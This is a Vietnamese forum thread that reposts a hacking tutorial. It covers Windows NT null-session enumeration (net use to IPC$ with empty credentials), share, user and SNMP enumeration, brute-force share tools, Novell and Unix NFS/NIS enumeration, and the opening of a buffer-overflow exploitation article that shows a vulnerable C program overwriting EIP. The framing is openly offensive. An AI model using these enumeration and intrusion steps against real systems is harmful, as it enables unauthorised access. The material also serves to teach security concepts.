Trở lại vấn đề điểm danh các hệ điều khiển domain NT: để thực hiện công việc này, ta dùng công cụ có tên là nltest trong NTRK để định danh các PDC (Primary Domain Controllers ) và BDC ( Backup Domain Controllers )
Câu lệnh : C:\> nltest /delist:[domain name]
Thậm chí, để tiến xa hơn, ta cần dùng Holy Grail của tính năng điểm danh NT, tuyến nối rỗng , hoặc nặc danh ( sẽ giới thiệu sau đây ). Sau khi xác lập một phiên làm việc rỗng cho một trong các máy trên khu ủy điểm danh, ta có thể dùng cú pháp nltest /server:[server name] và /trusted_domain để tìm hiểu thêm các domain NT có liên quan đến domain đầu tiên !

Chán đời đi lang thang !
Đăng nhập để trả lời
0
** Phương pháp NT toàn cục **

Hầu hết các kỹ thuật thu thập thông tin mà tôi mô tả trong phần này đều vận dụng một thiếu sót về bảo mật của winNT là cho phép các người dùng nặc danh( anonymous user ) kết nồi và điểm danh một số tài nguyên nhất định mà không cần sự "cho phép" . Chỗ yếu này được biết đến với cái tên "Red Button"( hiii, chắc là nút login hay submit quá ), tuyến nối phiên làm việc rỗng hay đăng nhập nặc danh.....và nó vẫn là chỗ đứng có tiềm năng tàn phá nhất trên mạng mà hacker tìm kiếm. Tôi nhớ có một bài viết lưu truyền khá rộng rãi trên mạng với tiêu đề rất "ghê" là " hướng dẫn deface một trang web" trong đó hướng dẫn cách dò tìm chỗ yếu anonymous user và khai thác nó !
Để thực hiện một tuyến nối phiên làm việc rỗng, ta dùng cú pháp:
C:\> net use \\IP\IPC$ ''''''' /user:'''''
Cú pháp trên nối "phần dùng chung" truyền thông tin xử lý ẩn (IPC$) tại địa chỉ IP mà ta cung cấp dưới dạng người dùng nặc danh là [user:''''] và một mật hiệu rỗng [''''''']. Nếu thành công, ta có thể có một lệnh mở để sử dụng những kỹ thuật khác nhau nhằm "thu gom" càng nhiều thông tin càng tốt : thông tin mạng , các phần dùng chung, các người dùng , các nhóm , các khóa Registry..... Phương pháp chống NT toàn cục sẽ được nêu trong "basic security" của fantomas311 - mời bạn đón xem

Chán đời đi lang thang !
Đăng nhập để trả lời
0
*** Các phần dùng chung NetBIOS ***

Sau khi thiết lập một phiên làm việc rỗng, ta cũng có thể dùng lại lệnh net view để điểm danh các phần dùng chung trên hệ thống từ xa.
Ba công cụ điểm danh các phần dùng chung khác trong NTRK là rmtshare , srvcheck và srvinfo
Một trong các công cụ thích hợp nhất để điểm danh các tệp dùng chung NT( và các nội dung khác là Dump ACL .Download free tại http://38.15.19.115 Dump ACL kiểm toán mọi thứ, từ giấy phép hệ tập tin đến các dịch vụ sẵn dùng trên các hệ thống từ xa. Thậm chí nó còn có thể lấy thông tin người dùng cơ bản qua một tuyến nối rỗng vô hại, và có thể chạy từ dòng lệnh, tạo thuận lợi cho việc lập ký mã và tự động hóa.
Việc mở các tuyến nối rỗng và dùng các công cụ trên đây theo thủ công là một phương pháp tuyệt vời cho các cuộc tấn công có định hướng, nhưng hầu hết các hacker thường sử dụng một bộ quét NetBIOS để nhanh chóng kiểm tra nguyên cả mạng để tìm các tệp dùng chung phơi bày. Một trong các công cụ phổ dụng đó là Legion ( có thể tìm thấy trên nhiều kho tàng trữ internet ). Legion có thể nghiền ngẫm qua một mạng IP Class C và tiết lộ tất cả các tệp dùng chung sẵn dùng trong giao diện đồ họa của nó. Phiên bản 2.1 có gộp một "công cụ cưỡng bức", công cụ này sẽ cố gắng nối kết với một tệp dùng chung nhất định thông qua một danh sách các mật hiệu do người dùng cung cấp. Cách bẻ khóa cưỡng bức đối với Win9x và WinNT sẽ được nêu cụ thể ở các phần sau
Một bộ quét tệp dùng chung windows phổ dụng khác là NetBIOS Auditing Tool (NAT) có thể tìm thấy trên các kho tàng trữ internet
Chán đời đi lang thang !
Đăng nhập để trả lời
0
****Các kiểu điểm danh NT khác ****

Ngoài ra còn có một số bộ điểm danh thông tin mạng NT khác như : epdump của Microsoft ( http://www.ntshop.net/security/tools/def.htm ), getmac và netdom trong NTRK và netviewx ( http://www.ibt.ku.dk/jesper/NTtools/ ) epdump truy vấn bộ ánh xạ điểm cuối RPC và nêu các dịch vụ kết gán với các địa chỉ IP và các số hiệu cổng. Dùng phiên làm việc rỗng, get mac hiển thị các địa chỉ MAC và các thiết bị của các card giao tiếp mạng trên các máy từ xa. Điều này cung cấp các thông tin hữu ích giúp hacker định hình một hệ thống có nhiều giao diện trên mạng . netdom còn hữu ích hơn điểm danh các thông tin chính về các domain NT trên tuyến, bao gồm tư cách thành viên domain và các danh xưng của Backup Domain Controllers . netviewx thường được dùng để dò tìm NT Remote Access Services ( RAS ) đề thu được khái niệm về số lượng các hệ phục vụ quay số tồn tại trên mạng
Cuối cùng, quả thật đáng trách nếu không đề cập đến SNMP ( Simple Network Management Protocol ) như một nguồn thông tin NT tuyệt vời.SNMP sẽ được đề cập chi tiết hơn trong phần tiếp theo: kỹ thuật điểm danh người dùng ( user ) trong WinNT

+++ Điểm danh người dùng và nhóm ( user and group ) trong WinNT

Trước khi đề cập đến điểm danh người dùng như thế nào , hãy nói đến công cụ cần dùng cho kỹ thuật này .Sau khi định danh một danh sách user , hacker có thể sử dụng các công cụ đoán pass tự động ( brute force ). Cũng như trường hợp của các tệp dùng chung, các máy NT config sai dễ dàng phun ra các thông tin user
Một lần nữa, ta sẽ dùng tuyến nối rỗng để cung cấp khả năng truy cập ban đầu để chạy các công cụ hacking đã biết . cách đầu tiên và đơn giản nhất để định danh các user trên một hệ thống windows từ xa là dùng lệnh nbstat

C:\> nbstat -A [IP]

Kỹ thuật này cho ta nội dung bảng tên NetBIOS của hệ thống từ xa, nêu tên hệ thống, domai mà nó đang ở trong đó , và những user đã đăng nhập .
Có vài công cụ NTRK khác có thể cung cấp thông tin về các user ( dù có tuyến nối rỗng hay không ) chẳng hạn như các trình tiện ích usrstat , showgrps, local, global nhưng công cụ thông dụng để lấy thông tin của user nhất vẫn là DumpACL. DumpACL có thể kéo một danh sách các người dùng, các nhóm, và các quyền user của hệ thống NT.
Ngoài ra, hai công cụ điểm danh NT khác cũng khá mạnh là user2sid và sid2user của Evgenii Rudnyi ( xem http://www.chem.msu.sn:8080~rudnyi/NT/sid.txt ) muốn sử dụng tốt hai công cụ này cần phải có thời gian tìm hiểu. Tôi chỉ có thể nói là nó có thể làm việc ngay cả khi các quản trị mạng đã kích hoạt RestrictAnonymous , chỉ cần có thề truy cập port 139 !
Chán đời đi lang thang !
Đăng nhập để trả lời
0
****SNMP (Simple Network Management Protocol )****

Một hệ thống NT đang chạy các tác nhân NT SNMP có thể truy cập bằng các chuỗi cộng đồng ngầm định như "public".Việc điểm danh các user NT thông qua SNMP là một điều dễ dàng khi dùng trình duyệt SNMP snmputil trong NTRK.Tuy nhiên, công cụ này lại cung cấp rất nhiều số liệu được coi là "lùng bùng, khó nhớ, khó hiểu".Do đó, để tránh rắc rối ( hacking có quá nhiều rắc rối phải giải quyết rồi !!!) bạn có thể sử dụng trình duyệt SNMP của solar wind tên là IP network browser tại http://solarwinds.net . Trên đây là phần trình bày của fantomas311 về điểm danh WinNT , tiếp theo là điểm danh với Novell

********* NOVELL *********

Tuy nói WinNT là bạn của các "phiên làm việc rỗng" nhưng netware của Novell cũng gặp sự cố tương tự :

+++ Network Neighborhood :Dùng Network Neighborhood để tìm hiểu về các hệ phục vụ và các "cây" sẵn dùng trên đường truyền .Bước này không đe dọa trực tiếp thông tin, nó chỉ như một bước khởi động đơn giản mà thôi, làm được gì thì hay cái nấy !!

+++ Các tuyến nối Novell Client32

Chương trình Netware Services của Novell chạy trong khay hệ thống và cho phép quản lý các tuyến nối Netware của bạn thông qua tùy chọn Netware Connections khả năng này có thể cực kỳ quý giá trong việc quản lý các gắn kết và các đợt đăng nhập .Tuy nhiên, quan trọng hơn là sau khi tạo một mối gắn kết (attachment ), bạn có thể truy lục cậy NDS chứa hệ phục vụ, số hiệu tuyến nối, và địa chỉ mạng hoàn chỉnh.Điều này có thể hữu ích cho việc nối với hệ phục vụ về sau và giành quyền ưu tiên cấp điều hành (admin)

Chán đời đi lang thang !
Đăng nhập để trả lời
0
+++On-site Admin : Xem các hệ phục vụ Novell

Nếu không có tiến trình thẩm định quyền theo một hệ phục vụ đơn lẻ, bạn có thể dùng sản phẩm On-site Admin của Novell ( ftp://ftp.cdrom.com ) để xem tình trạng của mọi hệ phục vụ trên đường truyền.Thay vì gửi các yêu cầu quảng bá riêng, On-Site Admin dường như hiển thị các hệ phục vụ được Network Neighborhood lập cache, gửi các đợt quảng bá định kỳ riêng về các hệ phục vụ Novell trên mạng

+++On-site Admin duyệt cây :

Ta có thể duyệt hầu hết các cây Novell bằng On-site Admin. Trong trường hợp này , Client32 thực tế gắn kết với hệ phục vụ đã lựa bên trong cây. Lý do đó là theo ngầm định, Netware 4.x cho phép mọi người duyệt cây.Bạn có thể giảm thiểu điều này bằng cách bổ sung tính năng lọc các quyền thừa kế vào gốc cây. Những thông tin thu được quan On-Site Admin có thể giúp ta chuyển sang cuộc đột nhập hệ thống chủ động. Điểm danh NT kết thúc ở đây !!!!

Chán đời đi lang thang !
Đăng nhập để trả lời
0
******* UNIX *******

Hầu hết các thực thể Unix hiện đại đều dựa trên các tính năng nối mạng TCP/IP chuẩn và do đó không dễ gì công khai thông tin thoải mái như NT thông qua các giao diện NetBIOS hoặc NetWare .Tất nhiên, điều đó không có nghĩa là Unix không bị các kỹ thuật điểm danh tấn công, nhưng kỹ thuật nào sẽ cho ra các kết quả tốt nhất ??? Điều đó còn tùy thuộc vào cách cấu hình hệ thống. Ví dụ như Remote Procedure Call (RPC) , Network Information System (NIS) và Network File System (NFS) của Sun Microsystem nhắm đến trong nhiều năm qua. Ta sẽ đề cập đến một số kỹ thuật cổ điển ngay sau đây.
Trước khi đi tiếp, bạn nên nhớ rằng hầu hết các kỹ thuật mô tả trong part III này đều dùng các thông tin thu thập được từ các kỹ đợt quét cổng và kỹ thuật điểm danh OS đã nêu trong "basic hacking Part I và II"
+++Điểm danh tệp dùng chung và tài nguyên mạng Unix
Nguồn thông tin mạng Unix tốt nhất là những kỹ thuật TCP/IP đã mô tả trong Part II, nhưng một công cụ tuyệt vời hơn để đào sâu chính là trình tiện ích Unix showmount rất hữu ích trong việc điểm danh các hệ tập tin xuất khẩu NFS trên một mạng. Ví dụ : giả sử một đợt quét trước đó cho biết cổng 2049 (NFS) đang lắng chờ trên một đích tiềm năng . Như vậy, ta có thể dùng showmount để xem một cách chính xác các thư mục đang được share ra sao :

showmount -e 192.168.202.34
export list for 192.168.202.34
/pub (everyone)
/var (everyone)
/usr (user)

Khóa chuyển -e nêu danh sách xuất khẩu của hệ phục vụ NFS, đáng tiếc cho các nhà bảo mật ,và mừng cho hacker là lỗ rò rĩ thông tin này không thể nà bịt kín được , bởi đây là cách ứng xử ngầm định của NFS
NFS không là phần mềm chia sẻ tập tin duy nhất mà bạn tìm thấy trên Unix , nhờ tính phổ dụng ngày càng tăng của bộ phần mềm sampa nguồn mở, cung cấp các dịch vụ tập tin và in trôi chảy cho các hệ khách SMB (Server Message Block )tạo thành nền móng của tính năng nối mạng windows .Samba có thể download tại http://samba.org và được phân phối cùng với nhiều bộ Linux.Mặc dù tập tin cấu hình hệ phục vụ Samba (/etc/smb.conf) có một số tham số bảo mật dể hiểu, việc cấu hình sai vẫn có thể dẫn đến các tập tin dùng chung mạng không được bảo vệ.
Một nguồn tiềm năng khác về thông tin mạng của Unix là NIS.Sự cố chính với NIS là một khi biết được tên domain NIS của một hệ phục vụ, bạn có thể dùng một đợt truy vấn RPC đơn giản để thu thập bất kỳ bản ánh xạ NIS nào của nó. Các bản ánh xạ NIS là những phép ánh xạ phân phối thông tin quan trọng của từng hệ chủ domain chẳng hạn như nội dung tập tin passwd . Kiểu tấn công NIS truyền thống thường dùng các công cụ khách NIS để cố gắng đoán tên domain.
Ngoài ra, còn một số công cụ khai thác cũng khá hữu ích là psean và snmpwalk
+++Điểm danh người dùng và các nhóm Unix :Kỹ thuật này không thu được những thông tin thật quý giá, nó chỉ có thể cho bạn biết user nào là root trong hệ phục vụ đích. Công cụ : finger , rusers , rwho

****** Basic hacking Part III tạm dừng ở đây, sau ba bước cơ bản, bạn đã có khá nhiều thông tin và công cụ, khai thác cụ thể sẽ hướng dẫn sau .... Hy vọng qua ba bài viết, fantomas311 đã đem lại cho bạn khái niệm cơ bản về hacking ! Chúc vui ! Mọi chi tiết về bài viết xin liên hệ fantomas311@yahoo.com *
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Kỹ thuật khai thác lỗi tràn bộ đệm: Tổ chức bộ nhớ,stack,gọi hàm,shellcode [4/22/2004 10:06:00 AM]
Tóm tắt
Loạt bài viết này trình bày về tràn bộ đệm (buffer overflow) xảy ra trên stack và kỹ thuật khai thác lỗi bảo mật phổ biến nhất này. Kỹ thuật khai thác lỗi tràn bộ đệm (buffer overflow exploit) được xem là một trong những kỹ thuật hacking kinh điển nhất. Bài viết được chia làm 2 phần:
Phần 1: Tổ chức bộ nhớ, stack, gọi hàm, shellcode. Giới thiệu tổ chức bộ nhớ của một tiến trình (process), các thao tác trên bộ nhớ stack khi gọi hàm và kỹ thuật cơ bản để tạo shellcode - đoạn mã thực thi một giao tiếp dòng lệnh (shell).
Phần 2: Kỹ thuật khai thác lỗi tràn bộ đệm. Giới thiệu kỹ thuật tràn bộ đệm cơ bản, tổ chức shellcode, xác định địa chỉ trả về, địa chỉ shellcode, cách truyền shellcode cho chương trình bị lỗi.
Các chi tiết kỹ thuật minh hoạ ở đây được thực hiện trên môi trường Linux x86 (kernel 2.2.20, glibc-2.1.3), tuy nhiên về mặt lý thuyết có thể áp dụng cho bất kỳ môi trường nào khác. Người đọc cần có kiến thức cơ bản về lập trình C, hợp ngữ (assembly), trình biên dịch gcc và công cụ gỡ rối gdb (GNU Debugger).
Nếu bạn đã biết kỹ thuật khai thác lỗi tràn bộ đệm qua các tài liệu khác, bài viết này cũng có thể giúp bạn củng cố lại kiến thức một cách chắc chắn hơn.
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Phần 1: Tổ chức bộ nhớ, stack, gọi hàm, shellcode
Mục lục
· Giới thiệu
· 1. Tổ chức bộ nhớ
o 1.1 Tổ chức bộ nhớ của một tiến trình (process)
o 1.2 Stack
· 2. Gọi hàm
o 2.1 Giới thiệu
o 2.2 Khởi đầu
o 2.3 Gọi hàm
o 2.3 Kết thúc
· 3. Shellcode
o 3.1 Viết shellcode trong ngôn ngữ C
o 3.2 Giải mã hợp ngữ các hàm
o 3.3 Định vị shellcode trên bộ nhớ
o 3.4 Vấn đề byte giá trị null
o 3.5 Tạo shellcode

Giới thiệu
Để tìm hiểu chi tiết về lỗi tràn bộ đệm, cơ chế hoạt động và cách khai thác lỗi ta hãy bắt đầu bằng một ví dụ về chương trình bị tràn bộ đệm.
/* vuln.c */
int main(int argc, char **argv)
{
char buf[16];
if (argc>1) {
strcpy(buf, argv[1]);
printf("%s\n", buf);
}
}

[SkZ0@gamma bof]$ gcc -o vuln -g vuln.c
[SkZ0@gamma bof]$ ./vuln AAAAAAAA // 8 ký tự A (1)
AAAAAAAA
[SkZ0@gamma bof]$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA // 24 ký tự A (2)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
Chạy chương trình vuln với tham số là chuỗi dài 8 ký tự A (1), chương trình hoạt động bình thường. Với tham số là chuỗi dài 24 ký tự A (2), chương trình bị lỗi Segmentation fault. Dễ thấy bộ đệm buf trong chương trình chỉ chứa được tối đa 16 ký tự đã bị làm tràn bởi 24 ký tự A.
[SkZ0@gamma bof]$ gdb vuln -c core -q
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x41414141 in ?? ()
(gdb) info register eip
eip 0x41414141 1094795585
(gdb)
Thanh ghi eip - con trỏ lệnh hiện hành - có giá trị 0x41414141, tương đương 'AAAA' (ký tự A có giá trị 0x41 hexa). Ta thấy, có thể thay đổi giá trị của thanh ghi con trỏ lệnh eip bằng cách làm tràn bộ đệm buf. Khi lỗi tràn bộ đệm đã xảy ra, ta có thể khiến chương trình thực thi mã lệnh tuỳ ý bằng cách thay đổi con trỏ lệnh eip đến địa chỉ bắt đầu của đoạn mã lệnh đó.
Để hiểu rõ quá trình tràn bộ đệm xảy ra như thế nào, chúng ta sẽ xem xét chi tiết tổ chức bộ nhớ, stack và cơ chế gọi hàm của một chương trình.
Chán đời đi lang thang !
Đăng nhập để trả lời
0
1. Tổ chức bộ nhớ
1.1 Tổ chức bộ nhớ của một tiến trình (process)



Mỗi tiến trình thực thi đều được hệ điều hành cấp cho một không gian bộ nhớ ảo (logic) giống nhau. Không gian nhớ này gồm 3 vùng: text, data và stack. Ý nghĩa của 3 vùng này như sau:
Vùng text là vùng cố định, chứa các mã lệnh thực thi (instruction) và dữ liệu chỉ đọc (read-only). Vùng này được chia sẻ giữa các tiến trình thực thi cùng một file chương trình và tương ứng với phân đoạn text của file thực thi. Dữ liệu ở vùng này là chỉ đọc, mọi thao tác nhằm ghi lên vùng nhớ này đều gây lỗi segmentation violation.
Vùng data chứa các dữ liệu đã được khởi tạo hoặc chưa khởi tạo giá trị. Các biến toàn cục và biến tĩnh được chứa trong vùng này. Vùng data tương ứng với phân đoạn data-bss của file thực thi.
Vùng stack là vùng nhớ được dành riêng khi thực thi chương trình dùng để chứa giá trị các biến cục bộ của hàm, tham số gọi hàm cũng như giá trị trả về. Thao tác trên bộ nhớ stack được thao tác theo cơ chế "vào sau ra trước" - LIFO (Last In, First Out) với hai lệnh quan trọng nhất là PUSH và POP. Trong phạm vi bài viết này, chúng ta chỉ tập trung tìm hiểu về vùng stack.
1.2 Stack
Stack là một kiểu cấu trúc dữ liệu trừu tượng cấp cao được dùng cho các thao tác đặc biệt dạng LIFO.
Tổ chức của vùng stack gồm các stack frame được push vào khi gọi một hàm và pop ra khỏi stack khi trở về. Một stack frame chứa các thông số cần thiết cho một hàm: biến cục bộ, tham số hàm, giá trị trả về; và các dữ liệu cần thiết để khôi phục stack frame trước đó, kể cả giá trị của con trỏ lệnh (instruction pointer) vào thời điểm gọi hàm.
Địa chỉ đáy của stack được gán một giá trị cố định. Địa chỉ đỉnh của stack được lưu bởi thanh ghi "con trỏ stack" (ESP – extended stack pointer). Tuỳ thuộc vào hiện thực, stack có thể phát triển theo hướng địa chỉ nhớ từ cao xuống thấp hoặc từ thấp lên cao. Trong các ví dụ về sau, chúng ta sử dụng stack có địa chỉ nhớ phát triển từ cao xuống thấp, đây là hiện thực của kiến trúc Intel. Con trỏ stack (SP) cũng phụ thuộc vào kiến trúc hiện thực. Nó có thể trỏ đến địa chỉ cuối cùng trên đỉnh stack hoặc địa chỉ vùng nhớ trống kế tiếp trên stack. Trong các minh hoạ về sau (với kiến trúc Intel x86), SP trỏ đến địa chỉ cuối cùng trên đỉnh stack.
Về lý thuyết, các biến cục bộ trong một stack frame có thể được truy xuất dựa vào độ dời (offset) so với SP. Tuy nhiên khi có các thao tác thêm vào hay lấy ra trên stack, các độ dời này cần phải được tính toán lại, làm giảm hiệu quả. Để tăng hiệu quả, các trình biên dịch sử dụng một thanh ghi thứ hai gọi là "con trỏ nền" (EBP – extended base pointer) hay còn gọi là "con trỏ frame" (FP – frame pointer). FP trỏ đến một giá trị cố định trong một stack frame, thường là giá trị đầu tiên của stack frame, các biến cục bộ và tham số được truy xuất qua độ dời so với FP và do đó không bị thay đổi bởi các thao tác thêm/bớt tiếp theo trên stack.
Đơn vị lưu trữ cơ bản trên stack là word, có giá trị bằng 32 bit (4 byte) trên các CPU Intel x86. (Trên các CPU Alpha hay Sparc giá trị này là 64 bit). Mọi giá trị biến được cấp phát trên stack đều có kích thước theo bội số của word.
Thao tác trên stack được thực hiện bởi 2 lệnh máy:
· push value: đưa giá trị ‘value’ vào đỉnh của stack. Giảm giá trị của %esp đi 1 word và đặt giá trị ‘value’ vào word đó.
· pop dest: lấy giá trị từ đỉnh stack đưa vào ‘dest’. Đặt giá trị trỏ bởi %esp vào ‘dest’ và tăng giá trị của %esp lên 1 word.
Chán đời đi lang thang !
Đăng nhập để trả lời
0
2. Hàm và gọi hàm
2.1 Giới thiệu
Để giải thích hoạt động của chương trình khi gọi hàm, chúng ta sẽ sử dụng đoạn chương trình ví dụ sau:

/* fct.c */
void toto(int i, int j)
{
char str[5] = "abcde";
int k = 3;
j = 0;
return;
}

int main(int argc, char **argv)
{
int i = 1;
toto(1, 2);
i = 0;
printf("i=%d\n",i);
}
Quá trình gọi hàm có thể được chia làm 3 bước:

1. Khởi đầu (prolog): trước khi chuyển thực thi cho một hàm cần chuẩn bị một số công việc như lưu lại trạng thái hiện tại của stack, cấp phát vùng nhớ cần thiết để thực thi.
2. Gọi hàm (call): khi hàm được gọi, các tham số được đặt vào stack và con trỏ lệnh (IP – instruction pointer) được lưu lại để cho phép chuyển quá trình thực thi đến đúng điểm sau gọi hàm.
3. Kết thúc (epilog): khôi phục lại trạng thái như trước khi gọi hàm.
2.2 Khởi đầu
Một hàm luôn được khởi đầu với các lệnh máy sau:
push %ebp
mov %esp,%ebp
sub $0xNN,%esp // (giá trị 0xNN phụ thuộc vào từng hàm cụ thể)
3 lệnh máy này được gọi là bước khởi đầu (prolog) của hàm. Hình sau giải thích bước khởi đầu của hàm toto() và giá trị của các thanh ghi %esp, %ebp.
Giả sử ban đầu %ebp trỏ đến địa chỉ X bất kỳ trên bộ nhớ, %esp trỏ đến một địa chỉ Y thấp hơn bên dưới. Trước khi chuyển vào một hàm, cần phải lưu lại môi trường của stack frame hiện tại, do mọi giá trị trong một stack frame đều có thể được tham khảo qua %ebp, ta chỉ cần lưu %ebp là đủ. Vì %ebp được push vào stack, nên %esp sẽ giảm đi 1 word. Giá trị %ebp được push vào stack này được gọi là "con trỏ nền bảo lưu" (SFP - saved frame pointer).
Lệnh máy thứ hai sẽ thiết lập một môi trường mới bằng cách đặt %ebp trỏ đến đỉnh của stack (giá trị đầu tiên của một stack frame), lúc này %ebp và %esp sẽ trỏ cùng đến một vị trí có địa chỉ là (Y-1word).
Lệnh máy thứ ba cấp phát vùng nhớ dành cho biến cục bộ. Mảng ký tự có độ dài 5 byte, tuy nhiên stack sử dụng đơn vị lưu trữ là word, do đó vùng nhớ được cấp cho mảng ký tự sẽ là một bội số của word sao cho lớn hơn hoặc bằng kích thước của mảng. Dễ thấy giá trị đó là 8 byte (2 word). Biến k kiểu nguyên có kích thước 4 byte, vì vậy kích thước vùng nhớ dành cho biến cục bộ sẽ là 8+4=12 byte (3 word), được cấp phát bằng cách giảm %esp đi một giá trị 0xc (bằng 12 trong hệ cơ số 16).
Chán đời đi lang thang !
Đăng nhập để trả lời
0
«« « 1 2 » »»